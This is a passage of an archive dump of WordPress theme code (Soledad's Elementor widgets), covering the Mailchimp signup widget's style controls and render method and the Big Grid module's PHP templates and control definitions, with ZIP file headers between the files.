				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200 ) ),
				'selectors' => array( '{{WRAPPER}} .mc4wp-form' => 'margin-bottom: {{SIZE}}px' ),
			)
		);

		$this->add_responsive_control(
			'mc4wp_spacebet', array(
				'label'     => __( 'Horizontal Spacing Between Fields', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200 ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-mailchimp-s4 .mc4wp-form-fields'                                                                                                                                 => 'margin-left: -{{SIZE}}px;margin-right: -{{SIZE}}px;',
					'{{WRAPPER}} .penci-mailchimp-s4 .mc4wp-form-fields .mname, {{WRAPPER}} .penci-mailchimp-s4 .mc4wp-form-fields .memail, {{WRAPPER}} .penci-mailchimp-s4 .mc4wp-form-fields .msubmit' => 'padding-left: {{SIZE}}px;padding-right: {{SIZE}}px;'
				),
				'condition' => array( 'mailchimp_style' => array( 's4' ) ),
			)
		);

		$this->add_responsive_control(
			'mc4wp_des_martop', array(
				'label'     => __( 'Description Spacing Top', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200 ) ),
				'selectors' => array( '{{WRAPPER}} .mc4wp-form .mdes' => 'margin-top: {{SIZE}}px' ),
				'condition' => array( 'mailchimp_style' => array( 's1', 's3' ) ),
			)
		);
		$this->add_responsive_control(
			'mc4wp_des_marbt', array(
				'label'     => __( 'Description Spaing Bottom', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200 ) ),
				'selectors' => array( '{{WRAPPER}} .mc4wp-form .mdes' => 'margin-bottom: {{SIZE}}px' ),
				'condition' => array( 'mailchimp_style' => array( 's1', 's3' ) ),
			)
		);

		$this->add_responsive_control(
			'mc4wp_namebot', array(
				'label'     => __( 'Name Field Spaing Bottom', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200 ) ),
				'selectors' => array( '{{WRAPPER}} .mc4wp-form .mname' => 'margin-bottom: {{SIZE}}px' ),
				'condition' => array( 'mailchimp_style' => array( 's1' ) ),
			)
		);

		$this->add_responsive_control(
			'mc4wp_emailbot', array(
				'label'     => __( 'Email Field Spaing Bottom', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200 ) ),
				'selectors' => array( '{{WRAPPER}} .mc4wp-form .memail' => 'margin-bottom: {{SIZE}}px' ),
				'condition' => array( 'mailchimp_style' => array( 's1' ) ),
			)
		);

		$this->add_responsive_control(
			'mc4wp_buttonbot', array(
				'label'     => __( 'Submit Button Spaing Bottom', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200 ) ),
				'selectors' => array( '{{WRAPPER}} .mc4wp-form .msubmit' => 'margin-bottom: {{SIZE}}px' ),
				'condition' => array( 'mailchimp_style' => array( 's1' ) ),
			)
		);

		$this->end_controls_section();

		$this->register_block_title_section_controls();

		$this->start_controls_section(
			'section_mailchimp_style',
			array(
				'label' => __( 'Mailchimp', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_control(
			'gener_heading', array(
				'label'     => __( 'General Style', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'condition' => array( 'mailchimp_style!' => array( 's1', 's2', 's3', 's4' ) ),
			)
		);

		$this->add_control(
			'general_border_color', array(
				'label'     => __( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'condition' => array( 'mailchimp_style!' => array( 's1', 's2', 's3', 's4' ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-mailchimp-s6 .widget_mc4wp_form_widget'        => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .penci-mailchimp-s5 .widget_mc4wp_form_widget'        => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .penci-mailchimp-s7 .widget_mc4wp_form_widget'        => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .penci-mailchimp-s8 .widget_mc4wp_form_widget'        => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .penci-mailchimp-s9 .widget_mc4wp_form_widget'        => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .penci-mailchimp-s10 .widget_mc4wp_form_widget'       => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .penci-mailchimp-s11 .widget_mc4wp_form_widget'       => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .penci-mailchimp-s12 .widget_mc4wp_form_widget'       => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .penci-mailchimp-s13 .widget_mc4wp_form_widget'       => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .penci-mailchimp-s14 .widget_mc4wp_form_widget'       => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .penci-mailchimp-s15 .widget_mc4wp_form_widget'       => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .penci-mailchimp-s7 .widget_mc4wp_form_widget:before' => 'background-color: {{VALUE}};',
				),
			)
		);

		$this->add_control(
			'general_border_top_color', array(
				'label'     => __( 'Border Top Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'condition' => array( 'mailchimp_style' => array( 's8' ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-mailchimp-s8 .widget_mc4wp_form_widget' => 'border-top-color: {{VALUE}};',
				),
			)
		);

		$this->add_control(
			'general_bg_color', array(
				'label'     => __( 'Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'condition' => array( 'mailchimp_style!' => array( 's1', 's2', 's3', 's4' ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-mailchimp-s5 .widget_mc4wp_form_widget'  => 'background-color: {{VALUE}};',
					'{{WRAPPER}} .penci-mailchimp-s6 .widget_mc4wp_form_widget'  => 'background-color: {{VALUE}};',
					'{{WRAPPER}} .penci-mailchimp-s7 .widget_mc4wp_form_widget'  => 'background-color: {{VALUE}};',
					'{{WRAPPER}} .penci-mailchimp-s8 .widget_mc4wp_form_widget'  => 'background-color: {{VALUE}};',
					'{{WRAPPER}} .penci-mailchimp-s9 .widget_mc4wp_form_widget'  => 'background-color: {{VALUE}};',
					'{{WRAPPER}} .penci-mailchimp-s10 .widget_mc4wp_form_widget' => 'background-color: {{VALUE}};',
					'{{WRAPPER}} .penci-mailchimp-s11 .widget_mc4wp_form_widget' => 'background-color: {{VALUE}};',
					'{{WRAPPER}} .penci-mailchimp-s12 .widget_mc4wp_form_widget' => 'background-color: {{VALUE}};',
					'{{WRAPPER}} .penci-mailchimp-s13 .widget_mc4wp_form_widget' => 'background-color: {{VALUE}};',
					'{{WRAPPER}} .penci-mailchimp-s14 .widget_mc4wp_form_widget' => 'background-color: {{VALUE}};',
					'{{WRAPPER}} .penci-mailchimp-s15 .widget_mc4wp_form_widget' => 'background-color: {{VALUE}};',
				),
			)
		);

		$this->add_responsive_control(
			'mc4wp_inputh', array(
				'label'     => __( 'Custom Fields Height', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
				'selectors' => array( '{{WRAPPER}} .penci-mailchimp-block' => '--pcmc-height: {{SIZE}}px' ),
			)
		);

		$this->add_responsive_control(
			'mc4wp_borderw', array(
				'label'     => __( 'Custom Borders Width', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 10 ) ),
				'selectors' => array( '{{WRAPPER}} .penci-mailchimp-block' => '--pcmc-bdw: {{SIZE}}px' ),
			)
		);

		$this->add_control(
			'mc4wp_bg_color', array(
				'label'     => __( 'Background color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'condition' => array( 'mailchimp_style' => array( 's2', 's3' ) ),
				'selectors' => array(
					'body:not(.pcdm-enable) {{WRAPPER}} .footer-subscribe,' .
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-header-signup-form' => 'background-color: {{VALUE}};',
				),

			)
		);

		$this->add_control(
			'tweets_desc_headings',
			array(
				'label'     => __( 'Description Text', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$this->add_responsive_control(
			'mc4wp_des_width', array(
				'label'     => __( 'Description Width', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 1000 ) ),
				'selectors' => array( '{{WRAPPER}} .mc4wp-form .mdes' => 'max-width: {{SIZE}}px;width:100%;display: inline-block' ),
			)
		);

		$this->add_control(
			'mc4wp_des_color', array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .penci-header-signup-form .mc4wp-form-fields > p,' .
					'{{WRAPPER}} .penci-header-signup-form form > p,' .
					'{{WRAPPER}} .footer-subscribe .mc4wp-form .mdes,' .
					'{{WRAPPER}} .mc4wp-form-fields' => 'color: {{VALUE}};'
				)
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'mc4wp_des_typo',
				'label'    => __( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-header-signup-form .mc4wp-form-fields > p,{{WRAPPER}} .penci-header-signup-form form > p,{{WRAPPER}} .footer-subscribe .mc4wp-form .mdes,{{WRAPPER}} .mc4wp-form-fields'
			)
		);

		// Input
		$markup_input = '{{WRAPPER}} .widget input[type="text"],';
		$markup_input .= '{{WRAPPER}} .widget input[type="email"],';
		$markup_input .= '{{WRAPPER}} .widget input[type="date"],';
		$markup_input .= '{{WRAPPER}} .widget input[type="number"],';
		$markup_input .= '{{WRAPPER}} .widget input[type="search"],';
		$markup_input .= '{{WRAPPER}} .widget input[type="password"]';


		$this->add_control(
			'tweets_input_headings',
			array(
				'label'     => __( 'Name & Email Fields', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);
		$this->add_control(
			'mc4wp_bg_input_color', array(
				'label'     => __( 'Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( $markup_input => 'background-color: {{VALUE}};' )
			)
		);
		$this->add_control(
			'mc4wp_border_input_color', array(
				'label'     => __( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( $markup_input => 'border-color: {{VALUE}};' )
			)
		);
		$this->add_control(
			'mc4wp_text_input', array(
				'label'     => __( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( $markup_input => 'color: {{VALUE}};' )
			)
		);

		$this->add_control(
			'mc4wp_placeh_input', array(
				'label'     => __( 'Placeholder Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .widget_mc4wp_form_widget input::-webkit-input-placeholder' => 'color: {{VALUE}};',
					'{{WRAPPER}} .widget_mc4wp_form_widget input::-moz-placeholder'          => 'color: {{VALUE}};',
					'{{WRAPPER}} .widget_mc4wp_form_widget input:-ms-input-placeholder,'     => 'color: {{VALUE}};',
					'{{WRAPPER}} .widget_mc4wp_form_widget input::placeholder'               => 'color: {{VALUE}};',
				)
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'mc4wp_input_typo',
				'selector' => $markup_input,
			)
		);

		// Button
		$this->add_control(
			'mc4wp_button_headings',
			array(
				'label'     => __( 'Submit Button', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'mc4wp_btn_typo',
				'selector' => '{{WRAPPER}} .mc4wp-form input[type="submit"]',
			)
		);

		$this->add_responsive_control(
			'mc4wp_butpadding', array(
				'label'     => __( 'Padding Left & Right', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200 ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-mailchimp-s2 .mc4wp-form-fields .msubmit input, {{WRAPPER}} .penci-mailchimp-s4 .mc4wp-form-fields .msubmit input' => 'padding-left: {{SIZE}}px;padding-right: {{SIZE}}px;',
					'{{WRAPPER}} .penci-mailchimp-s4 .msubmit'                                                                                             => 'width: auto;max-width: 100%;',
				),
				'condition' => array( 'mailchimp_style!' => array( 's1', 's3' ) ),
			)
		);

		$this->start_controls_tabs( 'tabs_button_style' );

		$this->start_controls_tab(
			'tab_button_normal', array(
				'label' => __( 'Normal', 'soledad' )
			)
		);

		$this->add_control(
			'button_text_color', array(
				'label'     => __( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .mc4wp-form input[type="submit"]' => 'fill: {{VALUE}}; color: {{VALUE}};' )
			)
		);

		$this->add_control(
			'background_color', array(
				'label'     => __( 'Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( 'body:not(.pcdm-enable) {{WRAPPER}} .mc4wp-form input[type="submit"]' => 'background-color: {{VALUE}};' )
			)
		);

		$this->end_controls_tab();

		$this->start_controls_tab(
			'tab_button_hover', array(
				'label' => __( 'Hover', 'soledad' )
			)
		);

		$this->add_control(
			'hover_color', array(
				'label'     => __( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}}  .mc4wp-form input[type="submit"]:hover' => 'color: {{VALUE}};',

				)
			)
		);

		$this->add_control(
			'button_background_hover_color', array(
				'label'     => __( 'Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'body:not(.pcdm-enable) {{WRAPPER}} .mc4wp-form input[type="submit"]:hover' => 'background-color: {{VALUE}};',
				)
			)
		);
		$this->end_controls_tab();

		$this->end_controls_tabs();

		$this->end_controls_section();
		$this->register_block_title_style_section_controls();

	}

	protected function render() {
		$settings = $this->get_settings();
		$form_id  = isset( $settings['mailchimp_pre_form'] ) && $settings['mailchimp_pre_form'] ? $settings['mailchimp_pre_form'] : 0;

		$mailchimp_style = $settings['mailchimp_style'];

		$css_class = 'penci-block-vc penci-mailchimp-block penci-el-mailchimp';
		$css_class .= ' penci-mailchimp-' . $mailchimp_style;

		$class_signup_form = 'widget widget_mc4wp_form_widget';
		if ( 's2' == $mailchimp_style ) {
			$class_signup_form .= ' penci-header-signup-form';
		} elseif ( 's3' == $mailchimp_style ) {
			$class_signup_form .= ' footer-subscribe';
		}
		?>
        <div class="<?php echo esc_attr( $css_class ); ?>">
			<?php $this->markup_block_title( $settings, $this ); ?>
            <div class="penci-block_content">
                <div class="<?php echo esc_attr( $class_signup_form ); ?>">
					<?php
					if ( function_exists( 'mc4wp_show_form' ) ) {
						mc4wp_show_form( $form_id );
					}
					?>
                </div>
            </div>
        </div>
		<?php
	}
}
PK     1w\G    +  elementor/modules/penci-big-grid/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciBigGrid;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-big-grid';
	}

	public function get_widgets() {
		return array( 'PenciBigGrid' );
	}
}
PK     1w\GQ!  !  7  elementor/modules/penci-big-grid/widgets/based-post.phpnu [        <div class="penci-bgitem<?php if ( 'style-2' == $biggid_style ) {
	echo ' item-masonry';
}
echo $is_big_item . penci_big_grid_count_classes( $bg, $biggid_style ); ?>">
    <div class="penci-bgitin">
        <div class="penci-bgmain">
            <div class="pcbg-thumb">
				<?php
				do_action( 'penci_bookmark_post', get_the_ID() );
				/* Display Review Piechart  */
				if ( 'yes' == $show_reviewpie && function_exists( 'penci_display_piechart_review_html' ) ) {
					penci_display_piechart_review_html( get_the_ID() );
				}
				?>
				<?php if ( 'yes' == $show_formaticon ): ?>
					<?php if ( has_post_format( 'video' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'gallery' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'audio' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'link' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'quote' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
					<?php endif; ?>
				<?php endif; ?>
                <div class="pcbg-thumbin">
                    <a class="pcbg-bgoverlay<?php if ( 'whole' == $overlay_type && 'on' != $bgcontent_pos ): echo ' active-overlay'; endif; ?>"
                       href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>

                        <div <?php echo penci_layout_bg(penci_image_srcset( get_the_ID(), $thumbnail, $mthumb_size ),! $disable_lazy);?> class="<?php echo penci_layout_bg_class(! $disable_lazy);?> penci-image-holder"<?php if ( 'style-2' == $biggid_style ) {
							echo ' style="padding-bottom: ' . penci_get_featured_image_padding_markup( get_the_ID(), $thumbnail, true ) . '%"';
						} ?>>
                            <?php echo penci_layout_img(penci_image_srcset( get_the_ID(), $thumbnail, $mthumb_size ),get_the_title(),! $disable_lazy);?>
                        </div>

                </div>
            </div>
            <div class="pcbg-content">
                <div class="pcbg-content-flex">
                    <a class="pcbg-bgoverlay<?php if ( 'whole' == $overlay_type && 'on' == $bgcontent_pos ): echo ' active-overlay'; endif; ?>"
                       href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
                    <div class="pcbg-content-inner<?php if ( 'inline-block' == $content_display ) {
						echo ' bgcontent-inline-block';
					} else {
						echo ' bgcontent-block';
					} ?>">
                        <a href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           class="pcbg-bgoverlaytext<?php if ( 'text' == $overlay_type ): echo ' active-overlay'; endif; ?> item-hover"></a>

						<?php if ( in_array( 'cat', $post_meta ) && ! $hide_cat_small_flag ) : ?>
                            <div class="pcbg-above item-hover">
							<span class="cat pcbg-sub-title">
								<?php penci_category( '', $primary_cat ); ?>
							</span>
                            </div>
						<?php endif; ?>

						<?php if ( in_array( 'title', $post_meta ) ) : ?>
                            <div class="pcbg-heading item-hover">
                                <h3 class="pcbg-title"<?php if ( $title_length ): echo ' title="' . wp_strip_all_tags( get_the_title() ) . '"'; endif; ?>>
                                    <a href="<?php the_permalink(); ?>">
										<?php
										
                                        if ( ! $title_length ) {
											the_title();
										} else {
											echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $title_length, '...' );
										} ?>
                                    </a>
                                </h3>
                            </div>
						<?php endif; ?>

						<?php if ( ( isset($settings['cspost_enable']) && $settings['cspost_enable'] ) || ( ! $hide_meta_small_flag && count( array_intersect( array(
									'author',
									'date',
									'comment',
									'views',
									'reading',
									'excerpt'
								), $post_meta ) ) > 0 ) ) { ?>
                            <div class="grid-post-box-meta pcbg-meta item-hover">
                                <div class="pcbg-meta-desc">
									<?php if ( in_array( 'author', $post_meta ) ) : ?>
                                        <span class="bg-date-author author-italic author vcard">
										<?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
												penci_coauthors_posts_links();
											else: ?>
                                                <a class="author-url url fn n"
                                                   href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
											<?php endif; ?>
									</span>
									<?php endif; ?>
									<?php if ( in_array( 'date', $post_meta ) ) : ?>
                                        <span class="bg-date"><?php penci_soledad_time_link(); ?></span>
									<?php endif; ?>
									<?php if ( in_array( 'comment', $post_meta ) ) : ?>
                                        <span class="bg-comment">
										<a href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a>
									</span>
									<?php endif; ?>
									<?php
									if ( in_array( 'views', $post_meta ) ) {
										echo '<span>';
										echo penci_get_post_views( get_the_ID() );
										echo ' ' . penci_get_setting( 'penci_trans_countviews' );
										echo '</span>';
									}
									?>
									<?php
									$hide_readtime = in_array( 'reading', $post_meta ) ? false : true;
									if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                                        <span class="bg-readtime"><?php penci_reading_time(); ?></span>
									<?php endif; ?>
									<?php echo penci_show_custom_meta_fields( [
										'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
										'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
										'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
										'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
										'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
									] ); ?>
									<?php do_action( 'penci_extra_meta' ); ?>
                                </div>
								<?php if ( in_array( 'excerpt', $post_meta ) && ! $hide_excerpt_small_flag ) : ?>
                                    <div class="pcbg-pexcerpt">
										<?php penci_the_excerpt( $excerpt_length ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
						<?php } ?>

						<?php if ( $show_readmore && ! $hide_rm_small_flag ) { ?>
                            <div class="pcbg-readmore-sec item-hover">
                                <a href="<?php the_permalink(); ?>"
                                   class="pcbg-readmorebtn <?php echo 'pcreadmore-icon-' . $readmore_icon_pos; ?>">
                                    <span class="pcrm-text"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?></span>
									<?php if ( $readmore_icon ): ?>
										<?php \Elementor\Icons_Manager::render_icon( $readmore_icon ); ?>
									<?php endif; ?>
                                </a>
                            </div>
						<?php } ?>
                    </div>
                </div>
            </div>
        </div>
    </div>
</div>
PK     1w\No  o  3  elementor/modules/penci-big-grid/widgets/custom.phpnu [        <div class="penci-bgitem<?php if ( 'style-2' == $biggid_style ) {
	echo ' item-masonry';
}
echo $is_big_item . penci_big_grid_count_classes( $bg, $biggid_style ) . $item_id; ?>">
    <div class="penci-bgitin">
        <div class="penci-bgmain">
            <div class="pcbg-thumb">
                <div class="pcbg-thumbin">
                    <a class="pcbg-bgoverlay<?php if ( 'whole' == $overlay_type && 'on' != $bgcontent_pos ): echo ' active-overlay'; endif; ?>"
					   <?php if ( $title_link ){ ?>href="<?php echo esc_url( $title_link ); ?>"<?php }
					echo $title_external . $title_nofollow . $title_attr; ?>
                       title="<?php echo wp_strip_all_tags( $title ); ?>"></a>

                        <div <?php echo penci_layout_bg($image_url, $disable_lazy);?> class="<?php echo penci_layout_bg_class($disable_lazy);?> penci-image-holder"<?php if ( 'style-2' == $biggid_style ) {
							echo ' style="padding-bottom: ' . $image_ratio . '%"';
						} ?>>
	                        <?php echo penci_layout_img($image_url,$title, $disable_lazy);?>
                        </div>

                </div>
            </div>
            <div class="pcbg-content">
                <div class="pcbg-content-flex<?php if ( $title_link ) {
					echo ' pcbg-overlap-hover';
				} ?>">
					<?php if ( $title_link ) { ?>
                        <a class="pcbg-cbgoverlap"
                           href="<?php echo esc_url( $title_link ); ?>"<?php echo $title_external . $title_nofollow . $title_attr; ?>
                           title="<?php echo wp_strip_all_tags( $title ); ?>"></a>
					<?php } ?>
                    <a class="pcbg-bgoverlay<?php if ( 'whole' == $overlay_type && 'on' == $bgcontent_pos ): echo ' active-overlay'; endif; ?>"
					   <?php if ( $title_link ){ ?>href="<?php echo esc_url( $title_link ); ?>"<?php }
					echo $title_external . $title_nofollow . $title_attr; ?>
                       title="<?php echo wp_strip_all_tags( $title ); ?>"></a>
                    <div class="pcbg-content-inner<?php if ( 'inline-block' == $content_display ) {
						echo ' bgcontent-inline-block';
					} else {
						echo ' bgcontent-block';
					} ?>">
                        <a <?php if ( $title_link ){ ?>href="<?php echo esc_url( $title_link ); ?>"<?php }
						echo $title_external . $title_nofollow . $title_attr; ?>
                           title="<?php echo wp_strip_all_tags( $title ); ?>"
                           class="pcbg-bgoverlaytext<?php if ( 'text' == $overlay_type ): echo ' active-overlay'; endif; ?> item-hover"></a>

						<?php if ( $sub_title ) : ?>
                            <div class="pcbg-above item-hover">
                                <div class="pcbg-sub-title"><?php echo $sub_title; ?></div>
                            </div>
						<?php endif; ?>

						<?php if ( $title ) : ?>
                            <div class="pcbg-heading item-hover">
                                <h3 class="pcbg-title"><a
										<?php if ( $title_link ){ ?>href="<?php echo esc_url( $title_link ); ?>"<?php }
									echo $title_external . $title_nofollow . $title_attr; ?>><?php if ( ! $title_length ) {
											echo $title;
										} else {
											echo wp_trim_words( wp_strip_all_tags( $title ), $title_length, '...' );
										} ?></a></h3>
                            </div>
						<?php endif; ?>

						<?php if ( $desc ) { ?>
                            <div class="grid-post-box-meta pcbg-meta item-hover">
                                <div class="pcbg-meta-desc"><?php echo $desc; ?></div>
                            </div>
						<?php } ?>

						<?php if ( $button_text ) { ?>
                            <div class="pcbg-readmore-sec item-hover">
                                <a <?php if ( $button_link ){ ?>href="<?php echo esc_url( $button_link ); ?>"<?php }
								echo $button_external . $button_nofollow . $button_attr; ?>
                                   class="pcbg-readmorebtn <?php echo 'pcreadmore-icon-' . $readmore_icon_pos; ?>">
                                    <span class="pcrm-text"><?php echo $button_text; ?></span>
									<?php if ( $readmore_icon ): ?>
										<?php \Elementor\Icons_Manager::render_icon( $readmore_icon ); ?>
									<?php endif; ?>
                                </a>
                            </div>
						<?php } ?>
                    </div>
                </div>
            </div>
        </div>
    </div>
</div>
PK     1w\R/  ;  elementor/modules/penci-big-grid/widgets/penci-big-grid.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciBigGrid\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Background;
use Elementor\Group_Control_Typography;
use Elementor\Repeater;
use Elementor\Utils;
use PenciSoledadElementor\Base\Base_Widget;
use PenciSoledadElementor\Modules\QueryControl\Controls\Penci_Group_Control_Posts;
use PenciSoledadElementor\Modules\QueryControl\Module as Query_Control;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciBigGrid extends Base_Widget {

	public function get_name() {
		return 'penci-big-grid';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Big Grid', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-gallery-grid';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'big grid', 'post' );
	}

	public function get_script_depends() {
		return [ 'penci_ajax_filter_bg' ];
	}

	protected function register_controls() {


		// Section layout
		$this->start_controls_section( 'section_general', array(
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$this->add_control( 'bgquery_type', array(
			'label'   => __( 'Query Type:', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'post',
			'options' => array(
				'post'   => esc_html__( 'Based Posts', 'soledad' ),
				'custom' => esc_html__( 'Custom', 'soledad' ),
			)
		) );

		$this->add_control( 'style', array(
			'label'   => __( 'Big Grid Style', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'style-1',
			'options' => array(
				'style-1'  => esc_html__( 'Grid ( Default )', 'soledad' ),
				'style-2'  => esc_html__( 'Masonry', 'soledad' ),
				'style-3'  => esc_html__( 'Style 3', 'soledad' ),
				'style-4'  => esc_html__( 'Style 4', 'soledad' ),
				'style-5'  => esc_html__( 'Style 5', 'soledad' ),
				'style-6'  => esc_html__( 'Style 6', 'soledad' ),
				'style-7'  => esc_html__( 'Style 7', 'soledad' ),
				'style-8'  => esc_html__( 'Style 8', 'soledad' ),
				'style-9'  => esc_html__( 'Style 9', 'soledad' ),
				'style-10' => esc_html__( 'Style 10', 'soledad' ),
				'style-11' => esc_html__( 'Style 11', 'soledad' ),
				'style-12' => esc_html__( 'Style 12', 'soledad' ),
				'style-13' => esc_html__( 'Style 13', 'soledad' ),
				'style-14' => esc_html__( 'Style 14', 'soledad' ),
				'style-15' => esc_html__( 'Style 15', 'soledad' ),
				'style-16' => esc_html__( 'Style 16', 'soledad' ),
				'style-17' => esc_html__( 'Style 17', 'soledad' ),
				'style-18' => esc_html__( 'Style 18', 'soledad' ),
				'style-19' => esc_html__( 'Style 19', 'soledad' ),
				'style-20' => esc_html__( 'Style 20', 'soledad' ),
				'style-21' => esc_html__( 'Style 21', 'soledad' ),
				'style-22' => esc_html__( 'Style 22', 'soledad' ),
			)
		) );

		$this->add_control( 'bg_columns', array(
			'label'     => __( 'Grid/Masonry Style Columns', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => '3',
			'options'   => array(
				'1' => esc_html__( '1 Column', 'soledad' ),
				'2' => esc_html__( '2 Columns', 'soledad' ),
				'3' => esc_html__( '3 Columns', 'soledad' ),
				'4' => esc_html__( '4 Columns', 'soledad' ),
				'5' => esc_html__( '5 Columns', 'soledad' ),
